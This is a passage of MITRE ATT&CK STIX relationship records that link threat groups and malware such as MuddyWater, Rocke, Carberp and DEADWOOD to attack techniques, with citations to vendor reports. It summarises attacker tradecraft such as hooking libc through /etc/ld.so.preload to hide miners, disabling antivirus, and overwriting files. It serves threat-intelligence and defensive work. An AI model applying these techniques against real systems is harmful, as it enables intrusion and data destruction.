TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--478f7f77-6b6b-4949-ac87-f28419b5e2ab","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://researchcenter.paloaltonetworks.com/2016/01/new-attacks-linked-to-c0d0s0-group/","description":"Grunzweig, J., Lee, B. (2016, January 22). New Attacks Linked to C0d0so0 Group. Retrieved August 2, 2018.","source_name":"Unit 42 C0d0so0 Jan 2016"}],"modified":"2019-04-25T11:39:52.237Z","description":"[APT19](https://attack.mitre.org/groups/G0073) performed a watering hole attack on forbes.com in 2014 to compromise targets.(Citation: Unit 42 C0d0so0 Jan 2016)","relationship_type":"uses","source_ref":"intrusion-set--fe8796a4-2a02-41a0-9d27-7aa1e995feb6","target_ref":"attack-pattern--d742a578-d70e-4d0e-96a6-02a9c30204e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--47987857-8c6b-40d2-a294-860b8a4dec58","created":"2021-03-17T20:30:08.940Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Anomali Static Kitten February 2021","description":"Mele, G. et al. (2021, February 10). Probable Iranian Cyber Actors, Static Kitten, Conducting Cyberespionage Campaign Targeting UAE and Kuwait Government Agencies. Retrieved March 17, 2021.","url":"https://www.anomali.com/blog/probable-iranian-cyber-actors-static-kitten-conducting-cyberespionage-campaign-targeting-uae-and-kuwait-government-agencies"},{"source_name":"Proofpoint TA450 Phishing March 2024","description":"Miller, J. et al. (2024, March 21). Security Brief: TA450 Uses Embedded Links in PDF Attachments in Latest Campaign. Retrieved March 27, 2024.","url":"https://www.proofpoint.com/us/blog/threat-insight/security-brief-ta450-uses-embedded-links-pdf-attachments-latest-campaign"},{"source_name":"Trend Micro Muddy Water March 2021","description":"Peretz, A. and Theck, E. (2021, March 5). Earth Vetala – MuddyWater Continues to Target Organizations in the Middle East. Retrieved March 18, 2021.","url":"https://www.trendmicro.com/en_us/research/21/c/earth-vetala---muddywater-continues-to-target-organizations-in-t.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-27T20:40:55.648Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has used file sharing services including OneHub, Sync, and TeraBox to distribute tools.(Citation: Anomali Static Kitten February 2021)(Citation: Trend Micro Muddy Water March 2021)(Citation: Proofpoint TA450 Phishing March 2024)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--88d31120-5bc7-4ce3-a9c0-7cf147be8e54","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--479a4e37-811b-44e7-9d4f-e226eece6c36","created":"2024-05-20T22:18:18.429Z","revoked":false,"external_references":[{"source_name":"Crowdstrike HuntReport 2022","description":"CrowdStrike. (2023). 2022 Falcon OverWatch Threat Hunting Report. Retrieved May 20, 2024.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/2022OverWatchThreatHuntingReport.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-20T22:18:18.429Z","description":"[Aquatic Panda](https://attack.mitre.org/groups/G0143) captured local Windows security event log data from victim machines using the wevtutil utility to extract contents to an evtx output file.(Citation: Crowdstrike HuntReport 2022)","relationship_type":"uses","source_ref":"intrusion-set--64b52e7d-b2c4-4a02-9372-08a463f5dc11","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--479ec00e-ce63-4a2f-8489-e0df55238e88","created":"2024-05-22T21:56:49.010Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T21:56:49.010Z","description":"[DEADWOOD](https://attack.mitre.org/software/S1134) overwrites files on victim systems with random data to effectively destroy them.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"malware--f2e6af17-3828-4f10-88e7-343591618ddb","target_ref":"attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47a10b36-7f39-480c-8708-410eb3af46ca","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto Comnie","description":"Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/"}],"modified":"2020-03-18T19:41:49.395Z","description":"[Comnie](https://attack.mitre.org/software/S0244) uses the net user command.(Citation: Palo Alto Comnie)","relationship_type":"uses","source_ref":"malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e","target_ref":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47a31ea1-4b4d-4141-9d41-07d3b229913c","type":"relationship","created":"2019-01-30T18:58:04.062Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Falcone, R., Lee, B. (2018, November 20). Sofacy Continues Global Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved November 26, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/","source_name":"Unit42 Cannon Nov 2018"}],"modified":"2019-04-22T19:48:08.955Z","description":"[Cannon](https://attack.mitre.org/software/S0351) can gather the username from the system.(Citation: Unit42 Cannon Nov 2018)","relationship_type":"uses","source_ref":"malware--d20b397a-ea47-48a9-b503-2e2a3551e11d","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47a95ac1-e37a-40ea-bf1e-e99ff4483998","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Wilted Tulip July 2017","description":"ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.","url":"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"},{"source_name":"CopyKittens Nov 2015","description":"Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.","url":"https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"}],"modified":"2020-03-19T23:24:34.808Z","description":"[Matryoshka](https://attack.mitre.org/software/S0167) is capable of stealing Outlook passwords.(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)","relationship_type":"uses","source_ref":"malware--1cc934e4-b01d-4543-a011-b988dfc1a458","target_ref":"attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--47a9cbf2-d225-4cdd-ad8a-760e2c32f6cb","created":"2024-03-25T20:51:40.895Z","revoked":false,"external_references":[{"source_name":"CISA Scattered Spider Advisory November 2023","description":"CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"},{"source_name":"MSTIC Octo Tempest Operations October 2023","description":"Microsoft. (2023, October 25). Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction. Retrieved March 18, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T20:51:40.895Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) has used BlackCat ransomware to encrypt files on VMWare ESXi servers.(Citation: CISA Scattered Spider Advisory November 2023)(Citation: MSTIC Octo Tempest Operations October 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47acf59d-7476-4794-b359-747da52f196c","type":"relationship","created":"2020-02-11T18:28:45.055Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-02-11T18:28:45.055Z","relationship_type":"subtechnique-of","source_ref":"attack-pattern--01327cde-66c4-4123-bf34-5f258d59457b","target_ref":"attack-pattern--54a649ff-439a-41a4-9856-8d144a2551ba","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--47ad4b99-a600-4788-b90d-ba8e2799107a","created":"2024-09-23T22:20:03.669Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"therecord_redcurl","description":"Antoniuk, D. (2023, July 17). RedCurl hackers return to spy on 'major Russian bank,' Australian company. Retrieved August 9, 2024.","url":"https://therecord.media/redcurl-hackers-russian-bank-australian-company"},{"source_name":"group-ib_redcurl1","description":"Group-IB. (2020, August). RedCurl: The Pentest You Didn’t Know About. Retrieved August 9, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl/"},{"source_name":"group-ib_redcurl2","description":"Group-IB. (2021, November). RedCurl: The Awakening. Retrieved August 14, 2024.","url":"https://www.group-ib.com/resources/research-hub/red-curl-2/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T23:00:57.111Z","description":"[RedCurl](https://attack.mitre.org/groups/G1039) has searched for and collected files on local and network drives.(Citation: therecord_redcurl)(Citation: group-ib_redcurl1)(Citation: group-ib_redcurl2)","relationship_type":"uses","source_ref":"intrusion-set--82323c70-4186-4b61-94f5-b227c3b28e89","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47aebf09-4bee-4639-94e3-27b095d7558a","type":"relationship","created":"2020-04-28T12:47:25.929Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos PoetRAT April 2020","url":"https://blog.talosintelligence.com/2020/04/poetrat-covid-19-lures.html","description":"Mercer, W, et al. (2020, April 16). PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors. Retrieved April 27, 2020."}],"modified":"2020-04-29T19:30:54.527Z","description":"[PoetRAT](https://attack.mitre.org/software/S0428) used file system monitoring to track modification and enable automatic exfiltration.(Citation: Talos PoetRAT April 2020)","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47afdb05-0327-4feb-b80e-1be491b57693","type":"relationship","created":"2021-05-31T16:31:47.907Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Bandook Nov 2020","url":"https://research.checkpoint.com/2020/bandook-signed-delivered/","description":"Check Point. (2020, November 26). Bandook: Signed & Delivered. Retrieved May 31, 2021."}],"modified":"2021-10-11T19:34:23.518Z","description":"[Bandook](https://attack.mitre.org/software/S0234) can download files to the system.(Citation: CheckPoint Bandook Nov 2020)","relationship_type":"uses","source_ref":"malware--835a79f1-842d-472d-b8f4-d54b545c341b","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--47b5c142-c0e5-4754-ae7f-b95bf01d3a5b","created":"2023-09-22T19:40:50.706Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Unit42 OceanLotus 2017","description":"Erye Hernandez and Danny Tsechansky. (2017, June 22). The New and Improved macOS Backdoor from OceanLotus. Retrieved September 8, 2023.","url":"https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-12T21:05:59.097Z","description":"[OSX_OCEANLOTUS.D](https://attack.mitre.org/software/S0352) encrypts data sent back to the C2 using AES in CBC mode with a null initialization vector (IV) and a key sent from the server that is padded to 32 bytes.(Citation: Unit42 OceanLotus 2017)","relationship_type":"uses","source_ref":"malware--b00f90b6-c75c-4bfd-b813-ca9e6c9ebf29","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--47b6edf8-f827-4ecc-8c83-007bb2553f5b","created":"2024-05-17T13:52:37.334Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"TrendMicro RaspberryRobin 2022","description":"Christopher So. (2022, December 20). Raspberry Robin Malware Targets Telecom, Governments. Retrieved May 17, 2024.","url":"https://www.trendmicro.com/en_us/research/22/l/raspberry-robin-malware-targets-telecom-governments.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-23T18:18:57.054Z","description":"[Raspberry Robin](https://attack.mitre.org/software/S1130) will execute its payload prior to initializing command and control traffic by impersonating one of several legitimate program names such as dllhost.exe, regsvr32.exe, or rundll32.exe.(Citation: TrendMicro RaspberryRobin 2022)","relationship_type":"uses","source_ref":"malware--4e385fa6-ebe0-43fc-9ccf-5b51b5dc4d79","target_ref":"attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--47b76146-c9d2-4012-932b-839c9756c2c9","created":"2020-07-15T20:23:36.451Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Prevx Carberp March 2011","description":"Giuliani, M., Allievi, A. (2011, February 28). Carberp - a modular information stealing trojan. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20231227000328/http://pxnow.prevx.com/content/blog/carberp-a_modular_information_stealing_trojan.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T15:17:52.254Z","description":"[Carberp](https://attack.mitre.org/software/S0484) has attempted to disable security software by creating a suspended process for the security software and injecting code to delete antivirus core files when the process is resumed.(Citation: Prevx Carberp March 2011)","relationship_type":"uses","source_ref":"malware--bbcd7a02-ef24-4171-ac94-a93540173b94","target_ref":"attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--47b76f42-e305-4aac-a1cc-d7cb84b1d8bf","created":"2019-02-21T21:12:55.710Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT39 Jan 2019","description":"Hawley et al. (2019, January 29). APT39: An Iranian Cyber Espionage Group Focused on Personal Information. Retrieved February 19, 2019.","url":"https://www.fireeye.com/blog/threat-research/2019/01/apt39-iranian-cyber-espionage-group-focused-on-personal-information.html"},{"source_name":"Dark Reading APT39 JAN 2019","description":"Higgins, K. (2019, January 30). Iran Ups its Traditional Cyber Espionage Tradecraft. Retrieved May 22, 2020.","url":"https://www.darkreading.com/attacks-breaches/iran-ups-its-traditional-cyber-espionage-tradecraft/d/d-id/1333764"},{"source_name":"BitDefender Chafer May 2020","description":"Rusu, B. (2020, May 21). Iranian Chafer APT Targeted Air Transportation and Government in Kuwait and Saudi Arabia. Retrieved May 22, 2020.","url":"https://www.bitdefender.com/blog/labs/iranian-chafer-apt-targeted-air-transportation-and-government-in-kuwait-and-saudi-arabia/"},{"source_name":"Symantec Chafer February 2018","description":"Symantec. (2018, February 28). Chafer: Latest Attacks Reveal Heightened Ambitions. Retrieved May 22, 2020.","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/chafer-latest-attacks-reveal-heightened-ambitions"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-18T16:19:53.779Z","description":"(Citation: FireEye APT39 Jan 2019)(Citation: BitDefender Chafer May 2020)(Citation: Dark Reading APT39 JAN 2019)(Citation: Symantec Chafer February 2018)","relationship_type":"uses","source_ref":"intrusion-set--44e43fad-ffcb-4210-abcf-eaaed9735f80","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--47b7e027-4208-4ed6-b4ae-46941fed16be","created":"2018-10-17T00:14:20.652Z","x_mitre_version":"1.0","external_references":[{"source_name":"APT15 Intezer June 2018","url":"https://web.archive.org/web/20180615122133/https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/","description":"Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018."}],"x_mitre_deprecated":false,"revoked":false,"description":"[MirageFox](https://attack.mitre.org/software/S0280) can collect CPU and architecture information from the victim’s machine.(Citation: APT15 Intezer June 2018)","modified":"2022-07-22T18:52:32.767Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--e3cedcfe-6515-4348-af65-7f2c4157bf0d","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47b95300-a51c-4d91-9bbe-e40956df2081","type":"relationship","created":"2020-06-11T19:52:07.337Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali Rocke March 2019","url":"https://www.anomali.com/blog/rocke-evolves-its-arsenal-with-a-new-malware-family-written-in-golang","description":"Anomali Labs. (2019, March 15). Rocke Evolves Its Arsenal With a New Malware Family Written in Golang. Retrieved April 24, 2019."}],"modified":"2020-06-16T13:34:56.503Z","description":"[Rocke](https://attack.mitre.org/groups/G0106) has modified /etc/ld.so.preload to hook libc functions in order to hide the installed dropper and mining software in process lists.(Citation: Anomali Rocke March 2019)\t","relationship_type":"uses","source_ref":"intrusion-set--44102191-3a31-45f8-acbe-34bdb441d5ad","target_ref":"attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47ba2c60-f295-4a91-bcd1-ac17292f4e7e","type":"relationship","created":"2020-07-17T20:14:44.179Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/2018/06/07/invisimole-equipped-spyware-undercover/","description":"Hromcová, Z. (2018, June 07). InvisiMole: Surprisingly equipped spyware, undercover since 2013. Retrieved July 10, 2018.","source_name":"ESET InvisiMole June 2018"},{"source_name":"ESET InvisiMole June 2020","url":"https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf","description":"Hromcova, Z. and Cherpanov, A. (2020, June). INVISIMOLE: THE HIDDEN PART OF THE STORY. Retrieved July 16, 2020."}],"modified":"2020-10-21T17:38:02.687Z","description":"[InvisiMole](https://attack.mitre.org/software/S0260) can enumerate windows and child windows on a compromised host.(Citation: ESET InvisiMole June 2018)(Citation: ESET InvisiMole June 2020)","relationship_type":"uses","source_ref":"malware--47afe41c-4c08-485e-b062-c3bd209a1cce","target_ref":"attack-pattern--4ae4f953-fe58-4cc8-a327-33257e30a830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--47c4478d-1526-4c4f-8158-17ad8cfcc6b9","created":"2020-02-04T13:06:49.722Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"cisco_deploy_rsa_keys","description":"Cisco. (2023, February 17). Chapter: Deploying RSA Keys Within a PKI . Retrieved March 27, 2023.","url":"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/sec_conn_pki/configuration/xe-17/sec-pki-xe-17-book/sec-deploy-rsa-pki.html#GUID-1CB802D8-9DE3-447F-BECE-CF22F5E11436"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-29T17:43:11.631Z","description":"Ensure permissions are properly set on folders containing sensitive private keys to prevent unintended access. Additionally, on Cisco devices, set the `nonexportable` flag during RSA key pair generation.(Citation: cisco_deploy_rsa_keys)","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47cd42b3-1a19-415f-8522-a601268d8017","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Dyre June 2015","description":"Symantec Security Response. (2015, June 23). Dyre: Emerging threat on financial fraud landscape. Retrieved August 23, 2018.","url":"http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf"}],"modified":"2019-04-24T23:21:07.861Z","description":"[Dyre](https://attack.mitre.org/software/S0024) has a command to download and executes additional files.(Citation: Symantec Dyre June 2015)","relationship_type":"uses","source_ref":"malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--47d25590-2bcb-4acf-81ac-24d7ef23db91","created":"2022-04-11T00:54:59.530Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET Hermetic Wizard March 2022","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWizard](https://attack.mitre.org/software/S0698) has been named `exec_32.dll` to mimic a legitimate MS Outlook .dll.(Citation: ESET Hermetic Wizard March 2022)","modified":"2022-04-11T13:52:07.206Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--ff7ed9c1-dca3-4e62-9da6-72c5d388b8fa","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47d79025-5c64-4524-b8b7-d70c341972f9","type":"relationship","created":"2019-04-17T19:18:00.406Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Remexi Jan 2019","url":"https://securelist.com/chafer-used-remexi-malware/89538/","description":"Legezo, D. (2019, January 30). Chafer used Remexi malware to spy on Iran-based foreign diplomatic entities. Retrieved April 17, 2019."}],"modified":"2020-03-17T19:25:07.244Z","description":"[Remexi](https://attack.mitre.org/software/S0375) silently executes received commands with cmd.exe.(Citation: Securelist Remexi Jan 2019)","relationship_type":"uses","source_ref":"malware--ecc2f65a-b452-4eaf-9689-7e181f17f7a5","target_ref":"attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--47d7a2ff-104a-49f9-a28f-6b1a79eca559","created":"2021-01-20T18:39:29.140Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NCC Group Chimera January 2021","description":"Jansen, W . (2021, January 12). Abusing cloud services to fly under the radar. Retrieved September 12, 2024.","url":"https://web.archive.org/web/20230218064220/https://research.nccgroup.com/2021/01/12/abusing-cloud-services-to-fly-under-the-radar/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:24:40.419Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has nltest /domain_trusts to identify domain trust relationships.(Citation: NCC Group Chimera January 2021)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--47df35dd-7d45-452d-af46-d04348a6b363","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Proofpoint ZeroT Feb 